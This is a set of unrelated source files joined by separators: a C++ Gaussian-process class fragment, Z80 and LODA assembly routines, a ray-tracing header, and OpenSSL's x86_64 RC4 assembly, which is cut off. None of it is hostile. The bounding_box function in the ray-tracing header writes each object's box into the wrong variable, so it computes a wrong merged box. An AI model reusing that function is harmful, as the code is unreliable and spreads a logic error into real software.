(*out).resize(covar->getNumberParams(),lik->getNumberParams());
//KyInv:
MatrixXd& KyInv = cache->rgetKEffInv();
//KyInvY=alpha e alpha*alpha.T:
MatrixXd& alpha = cache->rgetKEffInvY();
MatrixXd alpha2 = (alpha)*(alpha).transpose(); //This might be included in CGPCholCache
//Kd cachine result
MatrixXd Khess_param;
MatrixXd Kgrad_param;
MatrixXd T;
for(muint_t i = 0; i<(muint_t)(covar->getNumberParams()); i++) {
covar->aKgrad_param(&Kgrad_param,i);
T=KyInv*Kgrad_param*alpha2+alpha2*Kgrad_param*KyInv-KyInv*Kgrad_param*KyInv;
for(muint_t j = 0; j<(muint_t)(lik->getNumberParams());j++) {
lik->aKgrad_param(&Kgrad_param,j);
(*out)(i,j) = (T.array()*Kgrad_param.array()).sum();
}
}
(*out)*=0.5;
}
void CGPbase::agetCov_laplace(MatrixXd* out, stringVec vecLabels)
{
MatrixXd hess;
aLMLhess(&hess,vecLabels);
(*out)=hess.inverse();
}
CGPHyperParams CGPbase::agetStd_laplace()
{
MatrixXd Sigma;
stringVec sv;
sv.push_back("covar");
sv.push_back("lik");
agetCov_laplace(&Sigma,sv);
VectorXd std=Sigma.diagonal().unaryExpr(std::ptr_fun(sqrt));
CGPHyperParams out;
out["covar"]=std.block(0,0,this->covar->getNumberParams(),1);
out["lik"]=std.block(this->covar->getNumberParams(),0,this->lik->getNumberParams(),1);
return out;
}
void CGPbase::apredictMean(MatrixXd* out, const MatrixXd& Xstar)
{
MatrixXd KstarCross;
this->covar->aKcross(&KstarCross,Xstar);
MatrixXd& KinvY = this->cache->rgetKEffInvY();
(*out).noalias() = KstarCross * KinvY;
}
void CGPbase::apredictVar(MatrixXd* out,const MatrixXd& Xstar)
{
MatrixXd KstarCross;
this->covar->aKcross(&KstarCross,Xstar);
VectorXd KstarDiag;
//get self covariance
this->covar->aKcross_diag(&KstarDiag,Xstar);
//add noise
KstarDiag+=this->lik->Kcross_diag(Xstar);
MatrixXd KK = KstarCross*this->cache->rgetKEffInv();
KK.array()*=KstarCross.array();
(*out) = KstarDiag - KK.rowwise().sum();
}
CGPHyperParams CGPbase::getParamBounds(bool upper) const
{
CGPHyperParams rv;
//query covariance function bounds
CovarParams covar_lower,covar_upper;
this->covar->agetParamBounds(&covar_lower,&covar_upper);
if (upper)
rv["covar"] = covar_upper;
else
rv["covar"] = covar_lower;
CovarParams lik_lower,lik_upper;
this->lik->agetParamBounds(&lik_lower,&lik_upper);
if(upper)
rv["lik"] = lik_upper;
else
rv["lik"] = lik_lower;
return rv;
}
CGPHyperParams CGPbase::getParamMask() const {
CGPHyperParams rv;
rv["covar"] = this->covar->getParamMask();
rv["lik"] = this->lik->getParamMask();
return rv;
}
double CGPbase::LMLgrad_num(CGPbase& gp, const muint_t i)
{
double out, LML_plus, LML_minus;
mfloat_t relchange=1E-5;
CGPHyperParams L = gp.getParams();
CGPHyperParams L0 = L;
const muint_t i0 = L["covar"].rows();
mfloat_t change;
if (i<i0) {
change = relchange*L["covar"](i);
change = max(change,1E-5);
L["covar"](i) = L0["covar"](i) + change;
}
else {
change = relchange*L["lik"](i-i0);
change = max(change,1E-5);
L["lik"](i-i0) = L0["lik"](i-i0) + change;
}
gp.setParams(L);
LML_plus=gp.LML();
if (i<i0) {
L["covar"](i) = L0["covar"](i) - change;
}
else {
L["lik"](i-i0) = L0["lik"](i-i0) - change;
}
gp.setParams(L);
LML_minus=gp.LML();
out=(LML_plus-LML_minus)/(2.0*change);
gp.setParams(L0);
return out;
}
double CGPbase::LMLhess_num(CGPbase& gp, const muint_t i, const muint_t j)
{
double out, LMLgrad_plus, LMLgrad_minus;
mfloat_t relchange=1E-5;
CGPHyperParams L = gp.getParams();
CGPHyperParams L0 = L;
const muint_t i0 = L["covar"].rows();
mfloat_t change;
if (j<i0) {
change = relchange*L["covar"](j);
change = max(change,1E-5);
L["covar"](j) = L0["covar"](j) + change;
}
else {
change = relchange*L["lik"](j-i0);
change = max(change,1E-5);
L["lik"](j-i0) = L0["lik"](j-i0) + change;
}
gp.setParams(L);
if (i<i0) LMLgrad_plus=gp.LMLgrad()["covar"](i);
else LMLgrad_plus=gp.LMLgrad()["lik"](i-i0);
if (j<i0) {
L["covar"](j) = L0["covar"](j) - change;
}
else {
L["lik"](j-i0) = L0["lik"](j-i0) - change;
}
gp.setParams(L);
if (i<i0) LMLgrad_minus=gp.LMLgrad()["covar"](i);
else LMLgrad_minus=gp.LMLgrad()["lik"](i-i0);
out=(LMLgrad_plus-LMLgrad_minus)/(2.0*change);
gp.setParams(L0);
return out;
}
} /* namespace limix */
|
; sp1_DrawUpdateStructAlways(struct sp1_update *u)
; 12.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
; FASTCALL
XLIB sp1_DrawUpdateStructAlways
LIB SP1DrawUpdateStruct
; Draws the update struct no matter what, including
; structs removed from the engine. Validates char
; if it hasn't been removed.
;
; enter : hl = & struct sp1_update
; uses : af, bc, de, hl, ix, b' for MaskLB and MaskRB sprites
.sp1_DrawUpdateStructAlways
bit 6,(hl)
jr nz, skipval
res 7,(hl)
.skipval
ld a,(hl)
and $3f
ld b,a
jp SP1DrawUpdateStruct
|
; A297250: Numbers whose base-3 digits having equal up-variation and down-variation; see Comments.
; 1,2,4,8,10,13,16,20,23,26,28,31,34,37,40,43,46,49,52,56,59,62,65,68,71,74,77,80,82,85,88,91,94,97,100,103,106,109,112,115,118,121,124,127,130,133,136,139,142,145,148,151,154,157,160,164,167,170,173,176,179,182,185,188,191,194,197,200,203,206,209,212,215,218,221,224,227,230,233,236,239,242,244,247,250,253,256,259,262,265,268,271,274,277,280,283,286,289,292,295
mov $3,$0
trn $0,1
mov $1,$0
add $0,1
mov $2,$0
trn $2,2
add $2,$0
lpb $1
mov $0,$1
div $1,3
lpe
add $0,$2
sub $0,1
add $0,$3
|
; A142450: Primes congruent to 43 mod 49.
; Submitted by Jon Maiga
; 43,239,337,631,827,1709,2003,2297,2591,2689,3571,3767,4159,4649,4943,5237,5531,5923,6217,7001,7393,7589,7687,7883,8863,9059,9157,9941,10039,10333,10529,10627,11117,11411,12097,12391,12979,13469,13567,13763,14057,14449,14939,15233,15331,15527,15919,16703,17291,17389,17683,17977,18859,19447,19937,20231,21211,21407,21701,21799,22093,22877,23269,23563,23857,24151,25033,25229,25523,25621,26111,26209,26699,26993,27091,27581,28463,29443,31991,32089,32579,32971,33461,34147,35323,35617,35911,36107,36793
mov $1,21
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,49
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,97
|
// Copyright (c) 2020 Chris Ohk
// I am making my contributions/submissions to this project solely in my
// personal capacity and are not conveying any rights to any intellectual
// property of any third parties.
// It is based on Ray Tracing: The Next Week book.
// References: https://raytracing.github.io
#ifndef RAY_TRACING_HITTABLE_LIST_HPP
#define RAY_TRACING_HITTABLE_LIST_HPP
#include "hittable.hpp"
#include <memory>
#include <utility>
#include <vector>
class hittable_list final : public hittable
{
public:
hittable_list() = default;
hittable_list(std::shared_ptr<hittable> object)
{
add(std::move(object));
}
void clear()
{
objects.clear();
}
void add(std::shared_ptr<hittable>&& object)
{
objects.emplace_back(object);
}
bool hit(const ray& r, double t_min, double t_max,
hit_record& rec) const override;
bool bounding_box(double t0, double t1, aabb& output_box) const override;
std::vector<std::shared_ptr<hittable>> objects;
};
inline bool hittable_list::hit(const ray& r, double t_min, double t_max,
hit_record& rec) const
{
hit_record temp_rec;
bool hit_anything = false;
auto closest_so_far = t_max;
for (const auto& object : objects)
{
if (object->hit(r, t_min, closest_so_far, temp_rec))
{
hit_anything = true;
closest_so_far = temp_rec.t;
rec = temp_rec;
}
}
return hit_anything;
}
inline bool hittable_list::bounding_box(double t0, double t1,
aabb& output_box) const
{
if (objects.empty())
{
return false;
}
const aabb temp_box;
bool first_box = true;
for (const auto& object : objects)
{
if (!object->bounding_box(t0, t1, output_box))
{
return false;
}
output_box =
first_box ? temp_box : surrounding_box(output_box, temp_box);
first_box = false;
}
return true;
}
#endif |
; ===============================================================
; Dec 2013
; ===============================================================
;
; int strncasecmp(const char *s1, const char *s2, size_t n)
;
; Perform caseless compare of string s1 to string s2, examining
; no more than n chars. Return when the first differing char is
; found with *s1 - *s2.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_string
PUBLIC asm_strncasecmp
EXTERN asm_tolower
asm_strncasecmp:
; enter : hl = char *s2
; de = char *s1
; bc = size_t n
;
; exit : a = h = *s1-*s2 of first differing caseless char
; de = ptr in s1 to byte after last char compared or NUL
;
; if s1==s2 : hl=0, nc+z flags set
; if s1<<s2 : hl<0, c+nz flags set
; if s1>>s2 : hl>0, nc+nz flag set
;
; uses : af, bc, de, hl, ixl
loop:
ld a,b
or c
jr z, equal
ld a,(hl)
call asm_tolower
IF __CPU_Z180__ | __CPU_R2K__ | __CPU_R3K__ | __CPU_INTEL__ | __CPU_GBZ80__ | __CLASSIC
push hl
ld l,a
ld a,(de)
call asm_tolower
cp l
jr nz, different
pop hl
ELSE
ld ixl,a ; ixl = *s2
ld a,(de)
call asm_tolower
cp ixl ; *s1 - *s2
jr nz, different
ENDIF
inc de
inc hl
dec bc
or a ; end of string?
jr nz, loop
dec de
equal: ; both strings ended same time
ld l,a
ld h,a
ret
different:
IF __CPU_Z180__ | __CPU_R2K__ | __CPU_R3K__ | __CPU_INTEL__ | __CPU_GBZ80__ | __CLASSIC
sub l
pop hl
ELSE
sub ixl
ENDIF
ld h,a
ret
|
0D00 3A 00 0E
0D03 57
0D04 CB 27
0D06 CB 27
0D08 82
0D09 32 01 0E
0D0C DF 5B
0E00 0A
0E01 00
|
OPTION DOTNAME
.text$ SEGMENT ALIGN(64) 'CODE'
EXTERN OPENSSL_ia32cap_P:NEAR
PUBLIC RC4
ALIGN 16
RC4 PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_RC4::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
or rsi,rsi
jne $L$entry
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$entry::
push rbx
push r12
push r13
$L$prologue::
mov r11,rsi
mov r12,rdx
mov r13,rcx
xor r10,r10
xor rcx,rcx
lea rdi,QWORD PTR[8+rdi]
mov r10b,BYTE PTR[((-8))+rdi]
mov cl,BYTE PTR[((-4))+rdi]
cmp DWORD PTR[256+rdi],-1
je $L$RC4_CHAR
lea r8,QWORD PTR[OPENSSL_ia32cap_P]
mov r8d,DWORD PTR[r8]
xor rbx,rbx
inc r10b
sub rbx,r10
sub r13,r12
mov eax,DWORD PTR[r10*4+rdi]
test r11,-16
jz $L$loop1
bt r8d,30
jc $L$intel
and rbx,7
lea rsi,QWORD PTR[1+r10]
jz $L$oop8
sub r11,rbx
$L$oop8_warmup::
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
mov DWORD PTR[r10*4+rdi],edx
add al,dl
inc r10b
mov edx,DWORD PTR[rax*4+rdi]
mov eax,DWORD PTR[r10*4+rdi]
xor dl,BYTE PTR[r12]
mov BYTE PTR[r13*1+r12],dl
lea r12,QWORD PTR[1+r12]
dec rbx
jnz $L$oop8_warmup
lea rsi,QWORD PTR[1+r10]
jmp $L$oop8
ALIGN 16
$L$oop8::
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
mov ebx,DWORD PTR[rsi*4+rdi]
ror r8,8
mov DWORD PTR[r10*4+rdi],edx
add dl,al
mov r8b,BYTE PTR[rdx*4+rdi]
add cl,bl
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
mov eax,DWORD PTR[4+rsi*4+rdi]
ror r8,8
mov DWORD PTR[4+r10*4+rdi],edx
add dl,bl
mov r8b,BYTE PTR[rdx*4+rdi]
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
mov ebx,DWORD PTR[8+rsi*4+rdi]
ror r8,8
mov DWORD PTR[8+r10*4+rdi],edx
add dl,al
mov r8b,BYTE PTR[rdx*4+rdi]
add cl,bl
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
mov eax,DWORD PTR[12+rsi*4+rdi]
ror r8,8
mov DWORD PTR[12+r10*4+rdi],edx
add dl,bl
mov r8b,BYTE PTR[rdx*4+rdi]
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
mov ebx,DWORD PTR[16+rsi*4+rdi]
ror r8,8
mov DWORD PTR[16+r10*4+rdi],edx
add dl,al
mov r8b,BYTE PTR[rdx*4+rdi]
add cl,bl
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
mov eax,DWORD PTR[20+rsi*4+rdi]
ror r8,8
mov DWORD PTR[20+r10*4+rdi],edx
add dl,bl
mov r8b,BYTE PTR[rdx*4+rdi]
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
mov ebx,DWORD PTR[24+rsi*4+rdi]
ror r8,8
mov DWORD PTR[24+r10*4+rdi],edx
add dl,al
mov r8b,BYTE PTR[rdx*4+rdi]
add sil,8
add cl,bl
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
mov eax,DWORD PTR[((-4))+rsi*4+rdi]
ror r8,8
mov DWORD PTR[28+r10*4+rdi],edx
add dl,bl
mov r8b,BYTE PTR[rdx*4+rdi]
add r10b,8
ror r8,8
sub r11,8
xor r8,QWORD PTR[r12]
mov QWORD PTR[r13*1+r12],r8
lea r12,QWORD PTR[8+r12]
test r11,-8
jnz $L$oop8
cmp r11,0
jne $L$loop1
jmp $L$exit
ALIGN 16
$L$intel::
test r11,-32
jz $L$loop1
and rbx,15
jz $L$oop16_is_hot
sub r11,rbx
$L$oop16_warmup::
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
mov DWORD PTR[r10*4+rdi],edx
add al,dl
inc r10b
mov edx,DWORD PTR[rax*4+rdi]
mov eax,DWORD PTR[r10*4+rdi]
xor dl,BYTE PTR[r12]
mov BYTE PTR[r13*1+r12],dl
lea r12,QWORD PTR[1+r12]
dec rbx
jnz $L$oop16_warmup
mov rbx,rcx
xor rcx,rcx
mov cl,bl
$L$oop16_is_hot::
lea rsi,QWORD PTR[r10*4+rdi]
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
pxor xmm0,xmm0
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[4+rsi]
movzx eax,al
mov DWORD PTR[rsi],edx
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],0
jmp $L$oop16_enter
ALIGN 16
$L$oop16::
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
pxor xmm2,xmm0
psllq xmm1,8
pxor xmm0,xmm0
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[4+rsi]
movzx eax,al
mov DWORD PTR[rsi],edx
pxor xmm2,xmm1
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],0
movdqu XMMWORD PTR[r13*1+r12],xmm2
lea r12,QWORD PTR[16+r12]
$L$oop16_enter::
mov edx,DWORD PTR[rcx*4+rdi]
pxor xmm1,xmm1
mov DWORD PTR[rcx*4+rdi],ebx
add bl,dl
mov eax,DWORD PTR[8+rsi]
movzx ebx,bl
mov DWORD PTR[4+rsi],edx
add cl,al
pinsrw xmm1,WORD PTR[rbx*4+rdi],0
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[12+rsi]
movzx eax,al
mov DWORD PTR[8+rsi],edx
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],1
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
add bl,dl
mov eax,DWORD PTR[16+rsi]
movzx ebx,bl
mov DWORD PTR[12+rsi],edx
add cl,al
pinsrw xmm1,WORD PTR[rbx*4+rdi],1
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[20+rsi]
movzx eax,al
mov DWORD PTR[16+rsi],edx
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],2
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
add bl,dl
mov eax,DWORD PTR[24+rsi]
movzx ebx,bl
mov DWORD PTR[20+rsi],edx
add cl,al
pinsrw xmm1,WORD PTR[rbx*4+rdi],2
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[28+rsi]
movzx eax,al
mov DWORD PTR[24+rsi],edx
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],3
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
add bl,dl
mov eax,DWORD PTR[32+rsi]
movzx ebx,bl
mov DWORD PTR[28+rsi],edx
add cl,al
pinsrw xmm1,WORD PTR[rbx*4+rdi],3
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[36+rsi]
movzx eax,al
mov DWORD PTR[32+rsi],edx
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],4
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
add bl,dl
mov eax,DWORD PTR[40+rsi]
movzx ebx,bl
mov DWORD PTR[36+rsi],edx
add cl,al
pinsrw xmm1,WORD PTR[rbx*4+rdi],4
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[44+rsi]
movzx eax,al
mov DWORD PTR[40+rsi],edx
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],5
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
add bl,dl
mov eax,DWORD PTR[48+rsi]
movzx ebx,bl
mov DWORD PTR[44+rsi],edx
add cl,al
pinsrw xmm1,WORD PTR[rbx*4+rdi],5
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[52+rsi]
movzx eax,al
mov DWORD PTR[48+rsi],edx
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],6
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
add bl,dl
mov eax,DWORD PTR[56+rsi]
movzx ebx,bl
mov DWORD PTR[52+rsi],edx
add cl,al
pinsrw xmm1,WORD PTR[rbx*4+rdi],6
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
add al,dl
mov ebx,DWORD PTR[60+rsi]
movzx eax,al
mov DWORD PTR[56+rsi],edx
add cl,bl
pinsrw xmm0,WORD PTR[rax*4+rdi],7
add r10b,16
movdqu xmm2,XMMWORD PTR[r12]
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],ebx
add bl,dl
movzx ebx,bl
mov DWORD PTR[60+rsi],edx
lea rsi,QWORD PTR[r10*4+rdi]
pinsrw xmm1,WORD PTR[rbx*4+rdi],7
mov eax,DWORD PTR[rsi]
mov rbx,rcx
xor rcx,rcx
sub r11,16
mov cl,bl
test r11,-16
jnz $L$oop16
psllq xmm1,8
pxor xmm2,xmm0
pxor xmm2,xmm1
movdqu XMMWORD PTR[r13*1+r12],xmm2
lea r12,QWORD PTR[16+r12]
cmp r11,0
jne $L$loop1
jmp $L$exit
ALIGN 16
$L$loop1::
add cl,al
mov edx,DWORD PTR[rcx*4+rdi]
mov DWORD PTR[rcx*4+rdi],eax
mov DWORD PTR[r10*4+rdi],edx
add al,dl
inc r10b
mov edx,DWORD PTR[rax*4+rdi]
mov eax,DWORD PTR[r10*4+rdi]
xor dl,BYTE PTR[r12]
mov BYTE PTR[r13*1+r12],dl
lea r12,QWORD PTR[1+r12]
dec r11
jnz $L$loop1
jmp $L$exit
ALIGN 16
$L$RC4_CHAR::
add r10b,1
movzx eax,BYTE PTR[r10*1+rdi]
test r11,-8
jz $L$cloop1
jmp $L$cloop8
ALIGN 16
$L$cloop8::
mov r8d,DWORD PTR[r12]
mov r9d,DWORD PTR[4+r12]
add cl,al
lea rsi,QWORD PTR[1+r10]
movzx edx,BYTE PTR[rcx*1+rdi]
movzx esi,sil
movzx ebx,BYTE PTR[rsi*1+rdi]
mov BYTE PTR[rcx*1+rdi],al
cmp rcx,rsi
mov BYTE PTR[r10*1+rdi],dl
jne $L$cmov0
mov rbx,rax
$L$cmov0::
add dl,al
xor r8b,BYTE PTR[rdx*1+rdi]
ror r8d,8
add cl,bl
lea r10,QWORD PTR[1+rsi]
movzx edx,BYTE PTR[rcx*1+rdi]
movzx r10d,r10b
movzx eax,BYTE PTR[r10*1+rdi]
mov BYTE PTR[rcx*1+rdi],bl
cmp rcx,r10
mov BYTE PTR[rsi*1+rdi],dl
jne $L$cmov1
mov rax,rbx
$L$cmov1::
add dl,bl
xor r8b,BYTE PTR[rdx*1+rdi]
ror r8d,8
add cl,al
lea rsi,QWORD PTR[1+r10]
movzx edx,BYTE PTR[rcx*1+rdi]
movzx esi,sil
movzx ebx,BYTE PTR[rsi*1+rdi]
mov BYTE PTR[rcx*1+rdi],al
cmp rcx,rsi
mov BYTE PTR[r10*1+rdi],dl
jne $L$cmov2
mov rbx,rax
$L$cmov2::
add dl,al
xor r8b,BYTE PTR[rdx*1+rdi]
ror r8d,8
add cl,bl
lea r10,QWORD PTR[1+rsi]
movzx edx,BYTE PTR[rcx*1+rdi]
movzx r10d,r10b
movzx eax,BYTE PTR[r10*1+rdi]
mov BYTE PTR[rcx*1+rdi],bl
cmp rcx,r10
mov BYTE PTR[rsi*1+rdi],dl
jne $L$cmov3
mov rax,rbx
$L$cmov3::
add dl,bl
xor r8b,BYTE PTR[rdx*1+rdi]
ror r8d,8
add cl,al
lea rsi,QWORD PTR[1+r10]
movzx edx,BYTE PTR[rcx*1+rdi]
movzx esi,sil
movzx ebx,BYTE PTR[rsi*1+rdi]
mov BYTE PTR[rcx*1+rdi],al
cmp rcx,rsi
mov BYTE PTR[r10*1+rdi],dl
jne $L$cmov4
mov rbx,rax
$L$cmov4::
add dl,al
xor r9b,BYTE PTR[rdx*1+rdi]
ror r9d,8
add cl,bl
lea r10,QWORD PTR[1+rsi]
movzx edx,BYTE PTR[rcx*1+rdi]
movzx r10d,r10b
movzx eax,BYTE PTR[r10*1+rdi]
mov BYTE PTR[rcx*1+rdi],bl
cmp rcx,r10
mov BYTE PTR[rsi*1+rdi],dl
jne $L$cmov5
mov rax,rbx
$L$cmov5::
add dl,bl
xor r9b,BYTE PTR[rdx*1+rdi]
ror r9d,8
add cl,al
lea rsi,QWORD PTR[1+r10]
movzx edx,BYTE PTR[rcx*1+rdi]
movzx esi,sil
movzx ebx,BYTE PTR[rsi*1+rdi]
mov BYTE PTR[rcx*1+rdi],al
cmp rcx,rsi
mov BYTE PTR[r10*1+rdi],dl
jne $L$cmov6
mov rbx,rax
$L$cmov6::
add dl,al
xor r9b,BYTE PTR[rdx*1+rdi]
ror r9d,8
add cl,bl
lea r10,QWORD PTR[1+rsi]
movzx edx,BYTE PTR[rcx*1+rdi]
movzx r10d,r10b
movzx eax,BYTE PTR[r10*1+rdi]
mov BYTE PTR[rcx*1+rdi],bl
cmp rcx,r10
mov BYTE PTR[rsi*1+rdi],dl
jne $L$cmov7
mov rax,rbx
$L$cmov7::
add dl,bl
xor r9b,BYTE PTR[rdx*1+rdi]
ror r9d,8
lea r11,QWORD PTR[((-8))+r11]
mov DWORD PTR[r13],r8d
lea r12,QWORD PTR[8+r12]
mov DWORD PTR[4+r13],r9d
lea r13,QWORD PTR[8+r13]
test r11,-8
jnz $L$cloop8
cmp r11,0
jne $L$cloop1
jmp $L$exit
ALIGN 16
$L$cloop1::
add cl,al
movzx ecx,cl
movzx edx,BYTE PTR[rcx*1+rdi]
mov BYTE PTR[rcx*1+rdi],al
mov BYTE PTR[r10*1+rdi],dl
add dl,al
add r10b,1
movzx edx,dl
movzx r10d,r10b
movzx edx,BYTE PTR[rdx*1+rdi]
movzx eax,BYTE PTR[r10*1+rdi]
xor dl,BYTE PTR[r12]
lea r12,QWORD PTR[1+r12]
mov BYTE PTR[r13],dl
lea r13,QWORD PTR[1+r13]
sub r11,1
jnz $L$cloop1
jmp $L$exit
ALIGN 16
$L$exit::
sub r10b,1
mov DWORD PTR[((-8))+rdi],r10d
mov DWORD PTR[((-4))+rdi],ecx
mov r13,QWORD PTR[rsp]
mov r12,QWORD PTR[8+rsp]
mov rbx,QWORD PTR[16+rsp]
add rsp,24
$L$epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_RC4::
RC4 ENDP
PUBLIC RC4_set_key
ALIGN 16
RC4_set_key PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_RC4_set_key::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
lea rdi,QWORD PTR[8+rdi]
lea rdx,QWORD PTR[rsi*1+rdx]
neg rsi
mov rcx,rsi
xor eax,eax
xor r9,r9
xor r10,r10
xor r11,r11
lea r8,QWORD PTR[OPENSSL_ia32cap_P]
mov r8d,DWORD PTR[r8]
bt r8d,20
jc $L$c1stloop
jmp $L$w1stloop
ALIGN 16
$L$w1stloop::
mov DWORD PTR[rax*4+rdi],eax
add al,1
jnc $L$w1stloop
xor r9,r9
xor r8,r8
ALIGN 16
$L$w2ndloop::
mov r10d,DWORD PTR[r9*4+rdi]
add r8b,BYTE PTR[rsi*1+rdx]
add r8b,r10b
add rsi,1
mov r11d,DWORD PTR[r8*4+rdi]
cmovz rsi,rcx
mov DWORD PTR[r8*4+rdi],r10d
mov DWORD PTR[r9*4+rdi],r11d
add r9b,1
jnc $L$w2ndloop
jmp $L$exit_key
ALIGN 16
$L$c1stloop::
mov BYTE PTR[rax*1+rdi],al
add al,1
jnc $L$c1stloop
xor r9,r9
xor r8,r8
ALIGN 16
$L$c2ndloop::
mov r10b,BYTE PTR[r9*1+rdi]
add r8b,BYTE PTR[rsi*1+rdx]
add r8b,r10b
add rsi,1
mov r11b,BYTE PTR[r8*1+rdi]
jnz $L$cnowrap
mov rsi,rcx
$L$cnowrap::
mov BYTE PTR[r8*1+rdi],r10b
mov BYTE PTR[r9*1+rdi],r11b
add r9b,1
jnc $L$c2ndloop
mov DWORD PTR[256+rdi],-1
ALIGN 16
$L$exit_key::
xor eax,eax
mov DWORD PTR[((-8))+rdi],eax
mov DWORD PTR[((-4))+rdi],eax
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_RC4_set_key::
RC4_set_key ENDP
PUBLIC RC4_options
ALIGN 16
RC4_options PROC PUBLIC
lea rax,QWORD PTR[$L$opts]
mov rdx,QWORD PTR[OPENSSL_ia32cap_P]
mov edx,DWORD PTR[rdx]
bt edx,20
jc $L$8xchar
bt edx,30
jnc $L$done
add rax,25
DB 0F3h,0C3h ;repret
$L$8xchar::
add rax,12
$L$done::
DB 0F3h,0C3h ;repret
ALIGN 64
$L$opts::
DB 114,99,52,40,56,120,44,105,110,116,41,0
DB 114,99,52,40,56,120,44,99,104,97,114,41,0
DB 114,99,52,40,49,54,120,44,105,110,116,41,0
DB 82,67,52,32,102,111,114,32,120,56,54,95,54,52,44,32
DB 67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97
DB 112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103
DB 62,0
ALIGN 64
RC4_options ENDP
EXTERN __imp_RtlVirtualUnwind:NEAR
ALIGN 16
stream_se_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
lea r10,QWORD PTR[$L$prologue]
cmp rbx,r10
jb $L$in_prologue
mov rax,QWORD PTR[152+r8]
lea r10,QWORD PTR[$L$epilogue]
cmp rbx,r10
jae $L$in_prologue
lea rax,QWORD PTR[24+rax]
mov rbx,QWORD PTR[((-8))+rax]
mov r12,QWORD PTR[((-16))+rax]
mov r13,QWORD PTR[((-24))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
$L$in_prologue::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
jmp $L$common_seh_exit
stream_se_handler ENDP
ALIGN 16
key_se_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
